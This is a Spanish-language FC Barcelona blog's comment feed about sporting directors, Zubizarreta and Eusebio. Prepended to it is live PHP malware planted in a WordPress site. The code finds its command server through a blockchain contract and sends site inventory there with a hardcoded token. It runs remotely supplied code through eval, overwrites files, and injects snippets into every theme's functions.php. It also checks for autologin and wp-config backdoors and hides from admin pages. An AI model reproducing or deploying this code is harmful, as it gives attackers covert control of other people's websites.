// 9m_ue
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// 9m_ue',
'vis'=>'// xz_jl',
'vis_func'=>'wp_lcs5gz',
'vis_paths'=>array('/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_72fh5i8x',
);
$keys=array();
$keys['id']='jtl';
$keys['ver']='my';
$keys['caps']='k4r';
$keys['tasks']='df6';
$keys['interval']='w85';
$keys['ack_id']='5da';
$keys['ok']='6d';
$keys['detail']='jpv';
$keys['inv']='e4e';
$keys['result']='b30';
$hdr='X-LDR-Auth';$tok='tJ9TZ3q_xtwaUVpwam9xGv367yu9piPMutsgQK7KDEg';$id='ea1d1f0b11628a07';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
En cuanto a sus capacidades como director de grupo no tengo muchas dudas.
Pero para ser técnico se necesitan muchas más cosas, en fin, veremos….
También te digo que yo soy de la opinión que el conocer a tu club «desde la cuna» siempre, siempre es un plus muy, muy importante. Y ahí tenemos los ejemplos de Pep, Simeone, ¿Michel en un futuro?…
@imanol
El tema Eusebio es un asunto que tratamos por aquí de forma iterativa cuando se trata de alguna manera el B o la cantera.
Aquí te dejo un link a un artículo interesante al respecto. http://www.rondoblaugrana.com/2012/09/cuando-la-prioridad-no-es-competir.html
Lo que sí quiero destacar respecto a Eusebio, que, a la hora de analizarlo, debemos dejar a un lado nuestro feeling, lo que nos gusta más o menos de las cosas que hace y procuar ser más objetivos. Intentar dilucidar cuales son los fines fijados por el club para su proyecto y ver si estos se cumplen o no.
Luego sí, a todos nos chirrían ciertas cosas y no pasa nada por decirlas, claro ^^
]]>http://m.ivoox.com/entrevista-xavi-hernandez-audios-mp3_rf_1496205_1.html
]]>Sí, sí, me refería más bien a la decisión que me comentaba Jaume. El problrma de estas cosas es cómo se desarrolla la práctica una vez se ha formalizado un status como el de un director deportivo que queda por encima del entrenador. Yo estoy muy cerca de tu planteamiento, una especie de paralelismo parcelizado entre ambas figuras es lo deseable.
@ Papito, Cerdido
De memoría ahora no sabría precisar, pero en la era Txiki lo que sí se daba, o por lo menos se buscaba, era un perfil de fichajes de futuro que me parece muy interesante y que ha desaparecido. El descubrimiento de Yaya Toure, por ejemplo, es un golpe ganador que debería ser un modelo de operación exigible a cualquier dirección deportiva. El Barça también puede, y diría que debe, «descubrir» jugadores en el mercado.
]]>Parto de la base que un director deportivo siempre irá de la mano del entrenador, deben de ser «la misma persona» sin ser la misma persona. Creo que me explico…
Un ejemplo claro sería el fichaje de Song. La carga de un «fichaje equivocado» debe ir, personalizando, a Zubi, nunca a Tito. Menos presión, mayor facilidad para realizar su trabajo, o al menos la parcela de su trabajo con incidencia directa en el grupo.
]]>Como comentáis, todos nos hemos quedado con el gran detalle que supuso el enfoque que se dio a la transición Pep y Tito. Se dio un mensaje muy acorde con la filosofía del club y de ser un movimiento que generaba vértigo en los seguidores, consiguieron «vendérnoslo» como algo natural y hasta «bueno» para el equipo… Luego con el tiempo algunos echamos de menos a Pep, pero eso ya escapa del ámbito de Zubi…^^
Tema compras. Ahí supongo que entran en juego tanto los deseos del técnico, como precios, como «tiempos» del mercado, etc… Hasta cierto punto podemos ver a Song como el MC más parecido a Busi de todo el mercado, y su precio no fue desorbitado, ahora, si la idea era usarlo de central…
Tema ventas. Ahí sí veo un debe claro en el Director Deportivo. Pero de nuevo, habría que saber los detalles de todas estas ventas potenciales. Deseos del jugador de seguir. Contrato. Equipo comprador…
Y por último el tema Eusebio. Todos, absolutamente todos, tenemos muchísimas dudas sobre las capacidades de dicho entrenador, como ya hemos comentado aquí varias veces. ¿Por qué continua en el club? Pues aquí, enlazando con el artículo, habría que ver si los objetivos de proyecto del Barça B, son perfectamente cumplidos por Eusebio cada año (Permanencia en Segunda, subir «n» jugadores al primero equipo, etc…) Nos guste más o menos.
Respecto a la pregunta que haces de «Manager General» vs. «Entrenador y Director Deportivo» Yo siempre abogaré por la división de funciones, con departamentos perfectamente compartimentados e interrelacionados gracias a una relación (comunicación) fluida entre ambos roles.
@Jaume
No sabía de la decisión tomada este verano, pero bajo mi punto de vista nos pone en el escenario idóneo. Resta presión al entrenador y a su vez parcela funciones, lo que a mí, por principio, me parece el camino correcto.
Solo monstruos «mediáticos» como Mou, Pep, Wenger, Fergy y poco más, son capaces de cumplir con esa figura inventada del entrenador «General Manager».
@Cerdido
¿Txiqui siniestro? Bueno, más que siniestro yo diría que en seguida le llegó la imagen de vividor (tiene un handicap bastante bajo en golf ^^) y una figura más bien decorativa. Pero ojo, nunca sabremos exactamente la parcela de éxito que le corresponde en aquel Barça de Rijkard.
Como comento en el post, muchas de las tareas del director deportivo son oscuras… y es que tienen que ser oscuras…
@Jordi
Por lo que comentas del factor comunicativo es precisamente por lo que incidí en este campo en mi artículo; es, al fin y al cabo uno de factores que mayor visibilidad tenemos del Director Deportivo.
En particular uno de los detalles que destacaría de Zubi y es falta de desgaste; sale en los medio lo que tiene que salir, ni más ni menos, con lo que su mensaje sale siempre reforzado y no suele perder credibilidad.
Creo que tenemos director deportivo para rato…
]]>A priori desconfío de la entrega total de poderes al director deportivo. Creo demasiado en el peso del entrenador en la preparación de un equipo como para asumir fácilmente que él no tendrá la última palabra en materia, por ejemplo, de altas y bajas.
Entiendo que el director deportivo debería ser más bien una figura que ejerza de especialista (que aporte un plus profesional en materia de comunicación, trámites y negociaciones, etc.) y, en todo caso, de garante que vele por el mantenimiento de ciertos principios de club, pero no que tenga potestad para estructurar un equipo que él no entrena.
Que evidentemente ahí ya entra la mano izquierda de cada uno: lo inteligente (desde mi punto de vista) es que el director deportivo, al margen de su potestad, priorice en la medida oportuna el parecer del entrenador. Pero cuando existe la posibilidad de saltarse este requisito… no me mola.
]]>